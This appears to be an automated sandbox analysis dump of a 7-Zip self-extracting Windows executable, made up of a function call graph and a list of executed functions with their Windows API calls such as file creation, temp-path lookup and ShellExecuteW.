10000 408f11 9998->10000 10791 401c0b GetStdHandle WriteFile 9998->10791 10002 408f22 10000->10002 10792 401c0b GetStdHandle WriteFile 10000->10792 10004 4026dc lstrcmpW 10002->10004 10005 408f2f 10004->10005 10006 408f3d 10005->10006 10793 401c0b GetStdHandle WriteFile 10005->10793 10008 4026dc lstrcmpW 10006->10008 10009 408f4a 10008->10009 10010 408f58 10009->10010 10794 401c0b GetStdHandle WriteFile 10009->10794 10012 4026dc lstrcmpW 10010->10012 10013 408f65 10012->10013 10014 408f73 10013->10014 10795 401c0b GetStdHandle WriteFile 10013->10795 10015 4026dc lstrcmpW 10014->10015 10018 408f80 10015->10018 10017 408f90 10017->9444 10018->10017 10796 401c0b GetStdHandle WriteFile 10018->10796 10021 408497 10020->10021 10022 4084ca 10021->10022 10023 4084ac 10021->10023 10800 407e9b 10022->10800 10797 407e69 10023->10797 10028 407d17 22 API calls 10030 4084c5 10028->10030 10029 407d17 22 API calls 10029->10030 10803 407a8a ??3@YAXPAX 10030->10803 10032 4084ed 10032->9475 10034 408507 10033->10034 10035 407e82 4 API calls 10034->10035 10036 408512 10035->10036 10037 407d17 22 API calls 10036->10037 10038 408523 10037->10038 10807 407a8a ??3@YAXPAX 10038->10807 10040 40852d 10040->9475 10042 401484 2 API calls 10041->10042 10043 404582 10042->10043 10044 4027d6 2 API calls 10043->10044 10045 40458b GetTempPathW 10044->10045 10046 4045a4 10045->10046 10051 4045bb 10045->10051 10047 4027d6 2 API calls 10046->10047 10048 4045af GetTempPathW 10047->10048 10048->10051 10049 4027d6 2 API calls 10050 4045de wsprintfW 10049->10050 10050->10051 10051->10049 10052 4045f5 GetFileAttributesW 10051->10052 10053 404619 10051->10053 10052->10051 10052->10053 10053->9482 10055 408545 10054->10055 10808 407eb4 10055->10808 10058 407d17 22 API calls 10059 40857a 10058->10059 10811 407a8a ??3@YAXPAX 10059->10811 10061 408584 10061->9500 10063 4044f0 ??3@YAXPAX ??3@YAXPAX 10062->10063 10064 4044e5 10062->10064 10063->9354 10065 40301f 16 API calls 10064->10065 10065->10063 10067 4026dc lstrcmpW 10066->10067 10069 404a8f 10067->10069 10068 404ac4 10068->9554 10069->10068 10070 40139c 2 API calls 10069->10070 10071 404a9e 10070->10071 10072 404224 20 API calls 10071->10072 10073 404aa4 10072->10073 10073->10068 10074 401552 2 API calls 10073->10074 10074->10068 10076 402457 10075->10076 10081 402452 10075->10081 10077 40239b 3 API calls 10076->10077 10078 40245c 10077->10078 10080 40246d 10078->10080 10812 402415 LoadLibraryA GetProcAddress 10078->10812 10080->9600 10081->9600 10083 401484 2 API calls 10082->10083 10084 405082 10083->10084 10085 401484 2 API calls 10084->10085 10086 40508a GetCommandLineW 10085->10086 10087 404ac6 2 API calls 10086->10087 10088 40509a 10087->10088 10089 4048d8 2 API calls 10088->10089 10090 4050cd 10089->10090 10091 4048f6 2 API calls 10090->10091 10092 4050da 10091->10092 10093 4048f6 2 API calls 10092->10093 10094 4050e7 10093->10094 10095 404914 2 API calls 10094->10095 10096 4050f4 10095->10096 10097 404914 2 API calls 10096->10097 10098 405101 10097->10098 10099 404914 2 API calls 10098->10099 10100 40510e 10099->10100 10101 404914 2 API calls 10100->10101 10102 40511b 10101->10102 10103 4048f6 2 API calls 10102->10103 10104 405128 10103->10104 10105 4048f6 2 API calls 10104->10105 10106 405135 10105->10106 10107 4048f6 2 API calls 10106->10107 10108 405142 10107->10108 10109 4013d5 2 API calls 10108->10109 10110 40514e 12 API calls 10109->10110 10111 4051e3 GetLastError 10110->10111 10112 405206 CreateJobObjectW 10110->10112 10113 4051eb ??3@YAXPAX ??3@YAXPAX 10111->10113 10114 405281 ResumeThread WaitForSingleObject 10112->10114 10115 40521e AssignProcessToJobObject 10112->10115 10113->9610 10116 405291 CloseHandle GetExitCodeProcess 10114->10116 10115->10114 10117 40522c CreateIoCompletionPort 10115->10117 10118 4052b7 CloseHandle 10116->10118 10119 4052ae GetLastError 10116->10119 10117->10114 10120 40523e SetInformationJobObject ResumeThread 10117->10120 10121 4052c0 CloseHandle 10118->10121 10122 4052c3 10118->10122 10119->10118 10123 40526c GetQueuedCompletionStatus 10120->10123 10121->10122 10124 4052c9 CloseHandle 10122->10124 10125 4052ce 10122->10125 10123->10114 10126 405266 10123->10126 10124->10125 10125->10113 10126->10116 10126->10123 10128 402405 10127->10128 10129 4023ea LoadLibraryA GetProcAddress 10127->10129 10128->9596 10129->10128 10131 407cb6 4 API calls 10130->10131 10132 4044cb 10131->10132 10132->9529 10133->9510 10135 4054e5 ??3@YAXPAX 10134->10135 10136 405349 10134->10136 10138 4054eb 10135->10138 10136->10135 10137 40535d GetDriveTypeW 10136->10137 10137->10135 10139 405389 10137->10139 10138->9513 10140 404571 6 API calls 10139->10140 10141 405397 CreateFileW 10140->10141 10142 4053bd 10141->10142 10143 4054af ??3@YAXPAX ??3@YAXPAX 10141->10143 10144 401484 2 API calls 10142->10144 10143->10138 10145 4053c6 10144->10145 10146 40139c 2 API calls 10145->10146 10147 4053d3 10146->10147 10148 4027ee 2 API calls 10147->10148 10149 4053e1 10148->10149 10150 401455 2 API calls 10149->10150 10151 4053ed 10150->10151 10152 4027ee 2 API calls 10151->10152 10153 4053fb 10152->10153 10154 4027ee 2 API calls 10153->10154 10155 405408 10154->10155 10156 401455 2 API calls 10155->10156 10157 405414 10156->10157 10158 4027ee 2 API calls 10157->10158 10159 405421 10158->10159 10160 4027ee 2 API calls 10159->10160 10161 40542a 10160->10161 10162 401455 2 API calls 10161->10162 10163 405436 10162->10163 10164 4027ee 2 API calls 10163->10164 10165 40543f 10164->10165 10166 402b4c 3 API calls 10165->10166 10167 405451 WriteFile ??3@YAXPAX CloseHandle 10166->10167 10168 4054c0 10167->10168 10169 40547f 10167->10169 10171 40301f 16 API calls 10168->10171 10169->10168 10170 405487 SetFileAttributesW ShellExecuteW ??3@YAXPAX 10169->10170 10170->10143 10172 4054c8 ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 10171->10172 10172->10138 10182 40253b 10173->10182 10177 401484 2 API calls 10176->10177 10178 402b10 10177->10178 10179 402b48 10178->10179 10180 4027d6 2 API calls 10178->10180 10179->9650 10181 402b2d MultiByteToWideChar 10180->10181 10181->10179 10183 402575 10182->10183 10184 402549 ??2@YAPAXI 10182->10184 10183->9650 10184->10183 10185 40255a ??3@YAXPAX 10184->10185 10185->10183 10188 401cee 10187->10188 10190 401cae 10187->10190 10188->9657 10189 40c271 CharUpperW 10189->10190 10190->10188 10190->10189 10191 401cfb 10190->10191 10195 40c271 CharUpperW 10191->10195 10193 401d0b 10196 40c271 CharUpperW 10193->10196 10195->10193 10196->10188 10197->9682 10199 4023c8 10198->10199 10200 4023bc GetNativeSystemInfo 10198->10200 10199->9688 10200->9688 10204 40bf55 10201->10204 10205 40bf1c 2 API calls 10204->10205 10206 405c0f 10205->10206 10206->9349 10206->9350 10257 4028e5 10207->10257 10210 4028e5 2 API calls 10211 403bf5 10210->10211 10261 402a39 10211->10261 10214 40291f 2 API calls 10215 403c12 ??3@YAXPAX 10214->10215 10216 402a39 3 API calls 10215->10216 10217 403c2d 10216->10217 10218 40291f 2 API calls 10217->10218 10219 403c38 ??3@YAXPAX 10218->10219 10220 403c78 10219->10220 10221 403c4e 10219->10221 10223 403ca5 10220->10223 10224 403c7e wsprintfA 10220->10224 10221->10220 10222 403c53 wsprintfA 10221->10222 10227 40297f 2 API calls 10222->10227 10226 40297f 2 API calls 10223->10226 10225 40297f 2 API calls 10224->10225 10228 403c9a 10225->10228 10229 403cb2 10226->10229 10230 403c6d 10227->10230 10231 40297f 2 API calls 10228->10231 10232 40297f 2 API calls 10229->10232 10233 40297f 2 API calls 10230->10233 10231->10223 10234 403cba 10232->10234 10233->10220 10235 402c1a 10234->10235 10236 402c27 10235->10236 10244 40c5fe 3 API calls 10236->10244 10237 402c39 lstrlenA lstrlenA 10242 402c66 10237->10242 10238 402d11 memmove 10241 402d44 10238->10241 10238->10242 10239 402cee memcmp 10239->10242 10240 402cb1 memcmp 10240->10241 10240->10242 10246 40291f 10241->10246 10242->10238 10242->10239 10242->10240 10242->10241 10245 40c5ca GetLastError 10242->10245 10276 402957 10242->10276 10244->10237 10245->10242 10247 40292b 10246->10247 10249 40293c 10246->10249 10248 40253b 2 API calls 10247->10248 10248->10249 10249->9716 10251 402587 2 API calls 10250->10251 10252 4029c5 10251->10252 10252->9723 10254 40298e 10253->10254 10255 402587 2 API calls 10254->10255 10256 40299b 10255->10256 10256->9716 10258 4028fb 10257->10258 10259 40253b 2 API calls 10258->10259 10260 402908 10259->10260 10260->10210 10263 402a54 10261->10263 10262 402a6b 10264 40284f 2 API calls 10262->10264 10263->10262 10265 402a60 10263->10265 10267 402a74 10264->10267 10273 402897 10265->10273 10269 40253b 2 API calls 10267->10269 10268 402a69 10268->10214 10270 402a7d 10269->10270 10271 402897 2 API calls 10270->10271 10272 402aab ??3@YAXPAX 10271->10272 10272->10268 10274 40253b 2 API calls 10273->10274 10275 4028b2 10274->10275 10275->10268 10279 402587 10276->10279 10280 4025cb 10279->10280 10281 40259b 10279->10281 10280->10242 10282 40253b 2 API calls 10281->10282 10282->10280 10284 4043f0 10283->10284 10295 404316 10284->10295 10288 404386 10287->10288 10289 404316 _wtol 10288->10289 10290 4043a7 10289->10290 10290->9761 10292 4043b7 10291->10292 10293 404316 _wtol 10292->10293 10294 4043cf 10293->10294 10294->9769 10298 404320 10295->10298 10296 40433b _wtol 10296->10298 10297 404374 10297->9755 10298->10296 10298->10297 10300 402651 10299->10300 10301 40267a 10300->10301 10302 40265d lstrcmpW 10300->10302 10301->9442 10302->10300 10302->10301 10331 4103d0 10303->10331 10339 40f93c _EH_prolog 10303->10339 10304 40112a 10304->9797 10304->9801 10308 401650 10307->10308 10309 40139c 2 API calls 10308->10309 10310 40165d 10309->10310 10311 401552 2 API calls 10310->10311 10312 401666 CreateThread 10311->10312 10313 401695 10312->10313 10314 40169a WaitForSingleObject 10312->10314 10738 40130f 10312->10738 10315 408532 25 API calls 10313->10315 10316 4016b7 10314->10316 10317 4016e9 10314->10317 10315->10314 10318 4016d5 10316->10318 10322 4016c6 10316->10322 10319 4016f1 GetExitCodeThread 10317->10319 10320 4016e5 10317->10320 10323 408dd2 57 API calls 10318->10323 10321 401708 10319->10321 10320->9809 10321->10320 10321->10322 10324 401737 SetLastError 10321->10324 10322->10320 10325 408dd2 57 API calls 10322->10325 10323->10320 10324->10322 10325->10320 10327 401484 2 API calls 10326->10327 10328 4014b5 10327->10328 10329 401484 2 API calls 10328->10329 10330 4014c1 10329->10330 10330->9804 10332 4103e2 10331->10332 10337 40c5fe 3 API calls 10332->10337 10333 4103f6 10334 41042d 10333->10334 10338 40c5fe 3 API calls 10333->10338 10334->10304 10335 41040a 10335->10334 10355 410275 10335->10355 10337->10333 10338->10335 10340 40f95c 10339->10340 10341 4103d0 11 API calls 10340->10341 10342 40f981 10341->10342 10343 40f9a3 10342->10343 10344 40f98a 10342->10344 10383 411d7e _EH_prolog 10343->10383 10386 40f55c 10344->10386 10368 40d650 10355->10368 10357 4102a1 10357->10334 10358 41028d 10358->10357 10371 40d5b6 10358->10371 10361 41036e ??3@YAXPAX 10361->10357 10363 410357 memmove 10364 4102da 10363->10364 10364->10361 10364->10363 10365 410383 memcpy 10364->10365 10366 410379 ??3@YAXPAX 10364->10366 10367 40c5fe 3 API calls 10365->10367 10366->10357 10367->10366 10379 40d605 10368->10379 10372 40d600 memcpy 10371->10372 10373 40d5c3 10371->10373 10372->10364 10374 40d5c8 ??2@YAPAXI 10373->10374 10375 40d5ee 10373->10375 10376 40d5f0 ??3@YAXPAX 10374->10376 10377 40d5d8 memmove 10374->10377 10375->10376 10376->10372 10377->10376 10380 40d649 10379->10380 10381 40d617 10379->10381 10380->10358 10381->10380 10382 40c5ca GetLastError 10381->10382 10382->10381 10394 411af9 10383->10394 10721 40f3ec 10386->10721 10416 40f21d 10394->10416 10539 40f18e 10416->10539 10540 40c397 ctype 4 API calls 10539->10540 10541 40f197 10540->10541 10542 40c397 ctype 4 API calls 10541->10542 10543 40f19f 10542->10543 10544 40c397 ctype 4 API calls 10543->10544 10545 40f1a7 10544->10545 10546 40c397 ctype 4 API calls 10545->10546 10547 40f1af 10546->10547 10548 40c397 ctype 4 API calls 10547->10548 10549 40f1b7 10548->10549 10550 40c397 ctype 4 API calls 10549->10550 10551 40f1bf 10550->10551 10552 40c397 ctype 4 API calls 10551->10552 10553 40f1c9 10552->10553 10554 40c397 ctype 4 API calls 10553->10554 10555 40f1d1 10554->10555 10556 40c397 ctype 4 API calls 10555->10556 10557 40f1de 10556->10557 10558 40c397 ctype 4 API calls 10557->10558 10559 40f1e6 10558->10559 10560 40c397 ctype 4 API calls 10559->10560 10561 40f1f3 10560->10561 10562 40c397 ctype 4 API calls 10561->10562 10563 40f1fb 10562->10563 10564 40c397 ctype 4 API calls 10563->10564 10565 40f208 10564->10565 10566 40c397 ctype 4 API calls 10565->10566 10567 40f210 10566->10567 10722 40c397 ctype 4 API calls 10721->10722 10723 40f3fa 10722->10723 10739 401318 10738->10739 10741 40132b 10738->10741 10740 40131a Sleep 10739->10740 10739->10741 10740->10739 10742 401364 10741->10742 10743 401356 EndDialog 10741->10743 10743->10742 10744->9837 10746 4026c3 10745->10746 10747 40269b lstrcmpW 10745->10747 10746->9882 10748 4026b2 10747->10748 10748->10746 10748->10747 10749->9882 10751 402d77 10750->10751 10752 402d6b 10750->10752 10754 40284f 2 API calls 10751->10754 10768 401c0b GetStdHandle WriteFile 10752->10768 10758 402d81 10754->10758 10755 402d72 10767 4026c6 ??3@YAXPAX ??3@YAXPAX 10755->10767 10756 402dac 10757 402b04 3 API calls 10756->10757 10759 402dbe 10757->10759 10758->10756 10762 402957 2 API calls 10758->10762 10760 402de0 10759->10760 10761 402dcc 10759->10761 10764 408dd2 57 API calls 10760->10764 10763 408dd2 57 API calls 10761->10763 10762->10758 10765 402ddb ??3@YAXPAX ??3@YAXPAX 10763->10765 10764->10765 10765->10755 10767->9889 10768->10755 10770 40136a 2 API calls 10769->10770 10771 4029f1 10770->10771 10772 40136a 2 API calls 10771->10772 10773 4029fd 10772->10773 10773->9908 10775 40284f 2 API calls 10774->10775 10776 402b5b 10775->10776 10777 402b97 10776->10777 10780 4028cd 10776->10780 10777->9932 10781 4028d9 10780->10781 10782 4028df WideCharToMultiByte 10780->10782 10783 40253b 2 API calls 10781->10783 10782->10777 10783->10782 10785 407da1 10784->10785 10786 407d9c 10784->10786 10785->10786 10787 407d17 22 API calls 10785->10787 10786->9991 10787->10786 10788->9991 10789->9996 10790->9998 10791->10000 10792->10002 10793->10006 10794->10010 10795->10014 10796->10017 10798 407cb6 4 API calls 10797->10798 10799 407e71 10798->10799 10799->10028 10804 407e82 10800->10804 10803->10032 10805 407cb6 4 API calls 10804->10805 10806 407e8a 10805->10806 10806->10029 10807->10040 10809 407cb6 4 API calls 10808->10809 10810 407ebc 10809->10810 10810->10058 10811->10061 10813 402437 10812->10813 10813->10081 8807 409c90 ??2@YAPAXI 8808 409ca1 8807->8808 8817 40b990 8818 40b9ad 8817->8818 8819 40b9bc 8818->8819 8822 409f70 8818->8822 8823 409f7a 8822->8823 8827 409f9a 8823->8827 8828 401d3f 8823->8828 8826 402788 48 API calls 8826->8827 8829 401d46 free 8828->8829 8830 401d4c 8828->8830 8829->8830 8830->8826 9247 40159b 9248 4015b8 9247->9248 9249 4015a8 9247->9249 9252 401521 ??3@YAXPAX 9249->9252 9253 401534 9252->9253 9254 40153a ??3@YAXPAX 9252->9254 9253->9254 9255 40154a ??3@YAXPAX 9254->9255 9255->9248 8831 40bfa2 ReadFile

                                                                                                                                                                                                                Executed Functions

                                                                                                                                                                                                                Function 00405750 Relevance: 231.1, APIs: 93, Strings: 38, Instructions: 1811keyboardwindowCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00405763
                                                                                                                                                                                                                  • Part of subcall function 00401D4D: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,0040576F,?,00000000), ref: 00401D59
                                                                                                                                                                                                                  • Part of subcall function 00401D4D: CreateWindowExW.USER32(00000000,Static,004144C8,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00401D76
                                                                                                                                                                                                                  • Part of subcall function 00401D4D: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00401D88
                                                                                                                                                                                                                  • Part of subcall function 00401D4D: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00401D95
                                                                                                                                                                                                                  • Part of subcall function 00401D4D: DispatchMessageW.USER32(?), ref: 00401D9F
                                                                                                                                                                                                                  • Part of subcall function 00401D4D: KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,0040576F,?,00000000), ref: 00401DA8
                                                                                                                                                                                                                  • Part of subcall function 00401D4D: KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,0040576F,?,00000000), ref: 00401DAF
                                                                                                                                                                                                                • GetVersionExW.KERNEL32(?,?,00000000), ref: 00405780
                                                                                                                                                                                                                • GetCommandLineW.KERNEL32(?,00000020,?,00000000), ref: 00405811
                                                                                                                                                                                                                  • Part of subcall function 00402E02: ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,?,00405831,00000000), ref: 00402E75
                                                                                                                                                                                                                  • Part of subcall function 00402E02: ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,?,00405831), ref: 00402E90
                                                                                                                                                                                                                  • Part of subcall function 00402E02: ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,?), ref: 00402E98
                                                                                                                                                                                                                  • Part of subcall function 00402E02: ??3@YAXPAX@Z.MSVCRT(00405831,00405831,00000000,00000020,?,?,?,?,?,?,?,?,?,00405831,00000000,00000000), ref: 00402F08
                                                                                                                                                                                                                  • Part of subcall function 00404424: lstrlenW.KERNEL32(00405844,00000000,00000020,-00000002,00405844,-00000002,00000000,00000000,00000000), ref: 00404458
                                                                                                                                                                                                                  • Part of subcall function 00404424: lstrlenW.KERNEL32(?), ref: 00404460
                                                                                                                                                                                                                • _wtol.MSVCRT ref: 00405854
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00000000,?,00000000,00418818,00418818), ref: 004058A6
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00418818,00418818), ref: 004058BA
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00418818,00418818), ref: 004058C2
                                                                                                                                                                                                                • GetModuleFileNameW.KERNEL32(00000000,00000208,00000000,00000000), ref: 00405938
                                                                                                                                                                                                                • _wtol.MSVCRT ref: 00405A54
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000010,00000000,00418818,00418818), ref: 00405BDC
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,00000009,?,00000000,00418818,00418818), ref: 00405C5F
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,0000000A,?,00000000,00418818,00418818), ref: 00405CD5
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00418818,00418818), ref: 00405CF1
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,00418818,00418818), ref: 00405D2F
                                                                                                                                                                                                                • wsprintfW.USER32 ref: 00405D59
                                                                                                                                                                                                                  • Part of subcall function 00403305: ??2@YAPAXI@Z.MSVCRT(00000018,00000000,00404A21,?,?,?), ref: 0040330A
                                                                                                                                                                                                                  • Part of subcall function 004026C6: ??3@YAXPAX@Z.MSVCRT(?,-00000008,00404A61,?,?,?), ref: 004026CC
                                                                                                                                                                                                                  • Part of subcall function 004026C6: ??3@YAXPAX@Z.MSVCRT(?,?,-00000008,00404A61,?,?,?), ref: 004026D3
                                                                                                                                                                                                                • GetCommandLineW.KERNEL32(?,?,00000000,0000000A), ref: 0040607D
                                                                                                                                                                                                                  • Part of subcall function 00404247: lstrlenW.KERNEL32(|g@,00000000,?,00000000,0040428E,00000000,00000000,0040677C,?,waitall,00000000,00000000,?,?,004187D0), ref: 00404254
                                                                                                                                                                                                                  • Part of subcall function 00404247: lstrlenW.KERNEL32(?,?,?,004187D0), ref: 0040425D
                                                                                                                                                                                                                  • Part of subcall function 00404247: _wcsnicmp.MSVCRT ref: 00404269
                                                                                                                                                                                                                • _wtol.MSVCRT ref: 00405F9A
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000020), ref: 004060F5
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 004060FD
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 00406105
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 0040610D
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 00406115
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32(000000FF,000000FF,?,?,?,?,00000000), ref: 00406121
                                                                                                                                                                                                                • SetProcessWorkingSetSize.KERNEL32(00000000), ref: 00406128
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 00406145
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 0040614D
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406155
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040615D
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000A), ref: 0040617C
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 00406196
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 0040619E
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004061A6
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004061AE
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000002,?,00000000,?,00000000,0000000A), ref: 0040625D
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000011,00000000,00000000,?,?,?,?,00000000,0000000A), ref: 004062F4
                                                                                                                                                                                                                • CoInitialize.OLE32(00000000), ref: 00406321
                                                                                                                                                                                                                • _wtol.MSVCRT ref: 00406367
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?), ref: 00406389
                                                                                                                                                                                                                • GetKeyState.USER32(00000010), ref: 004063ED
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?), ref: 00406527
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?), ref: 00406535
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 0040655E
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406566
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?), ref: 00406582
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?), ref: 0040658A
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 004065BA
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,004187D0), ref: 004065FA
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,004187D0), ref: 00406663
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,004187D0), ref: 0040666B
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,004187D0), ref: 00406730
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?,?,00000000,AutoInstall,?,?,004187D0), ref: 0040673B
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,004187D0), ref: 00406745
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,004187D0), ref: 004067FF
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,004187D0), ref: 00406807
                                                                                                                                                                                                                • _wtol.MSVCRT ref: 0040689B
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?,?,?,?), ref: 00406A7A
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?,?,?,?,?), ref: 00406A82
                                                                                                                                                                                                                  • Part of subcall function 00404F96: memset.MSVCRT ref: 00404FBA
                                                                                                                                                                                                                  • Part of subcall function 00404F96: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,00000000), ref: 00405013
                                                                                                                                                                                                                  • Part of subcall function 00404F96: ??3@YAXPAX@Z.MSVCRT(00000002,?), ref: 0040501B
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00406AA6
                                                                                                                                                                                                                  • Part of subcall function 004023E1: LoadLibraryA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,00406ACC,00000000,?,?), ref: 004023F4
                                                                                                                                                                                                                  • Part of subcall function 004023E1: GetProcAddress.KERNEL32(00000000), ref: 004023FB
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00406AEF
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00406AF7
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406AFF
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00406B05
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00406B8F
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000001,00000010,?), ref: 00406BB0
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000001,00000010,?), ref: 00406BB8
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000001,00000010,?), ref: 00406BC0
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000001,00000010,?), ref: 00406BC6
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000001,00000010,?), ref: 00406BCE
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000001,00000010,?), ref: 00406BD6
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000001,00000010,?), ref: 00406BDE
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00406BFD
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00406C05
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406C0D
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00406C13
                                                                                                                                                                                                                • SetCurrentDirectoryW.KERNELBASE(?,?,?,?,?,?,00000000,?,?), ref: 00406C4C
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00406C76
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,0000000A), ref: 00406282
                                                                                                                                                                                                                  • Part of subcall function 00407D17: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00407D77
                                                                                                                                                                                                                  • Part of subcall function 00407D17: ??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 00407D7F
                                                                                                                                                                                                                  • Part of subcall function 00407A8A: ??3@YAXPAX@Z.MSVCRT(?,00408584,00000002,00000000,004187D0), ref: 00407A93
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00406D3A
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406D42
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00000000,?,00000000,?,?), ref: 00406D59
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00406D6D
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406D75
                                                                                                                                                                                                                • MessageBoxA.USER32(00000000,Sorry, this program requires Microsoft Windows 2000 or later.,7-Zip SFX,00000010), ref: 00406D8E
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
